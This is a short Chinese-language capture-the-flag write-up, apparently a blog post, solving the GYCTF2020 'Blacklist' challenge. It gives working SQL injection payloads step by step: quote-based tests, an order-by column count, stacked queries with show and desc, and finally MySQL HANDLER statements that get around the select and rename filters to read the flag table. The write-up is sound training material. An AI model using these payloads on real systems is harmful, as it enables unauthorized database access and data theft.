[GYCTF2020]Blacklist-思路
[GYCTF2020]Blacklist-思路
-
这道题之前我们写过,链接看这里:
-
试题地址:
-
首先我们还是用常规SQL注入判断这是字符型
1' and '1'='1 1' and '1'='2
-
然后利用order by语句判断出字段数为2
1' order by 2#
-
然后当我们用union查询的时候,发现select以及许多关键字被过滤了
1' union select 1,2#
但是我们发现它没有过滤 show 这个关键字,所以我们可以尝试堆叠注入,但是这里过滤了rename,所以我们那个修改表名的方法就用不了。
1';show databases;# //获取数据库
1';show tables;# //获取表名
1';desc words;# 获取表的内容
这里通过百度了解到一个新的方法:
参考文档:https://dev.mysql.com/doc/refman/8.0/en/handler.html
HANDLER [表名] OPEN;语句打开一个表,使其可以使用后续HANDLER [表名] READ;该表对象未被其他会话共享,并且在会话调用HANDLER [表名] CLOSE;或会话终止之前不会关闭
1’;HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere close;#
//这是一个语句
执行这个,然后,就可以出来flag了
有什么错误或者改进意见欢迎评论或发给我噢!大家一起共同学习!大佬多指教!!!!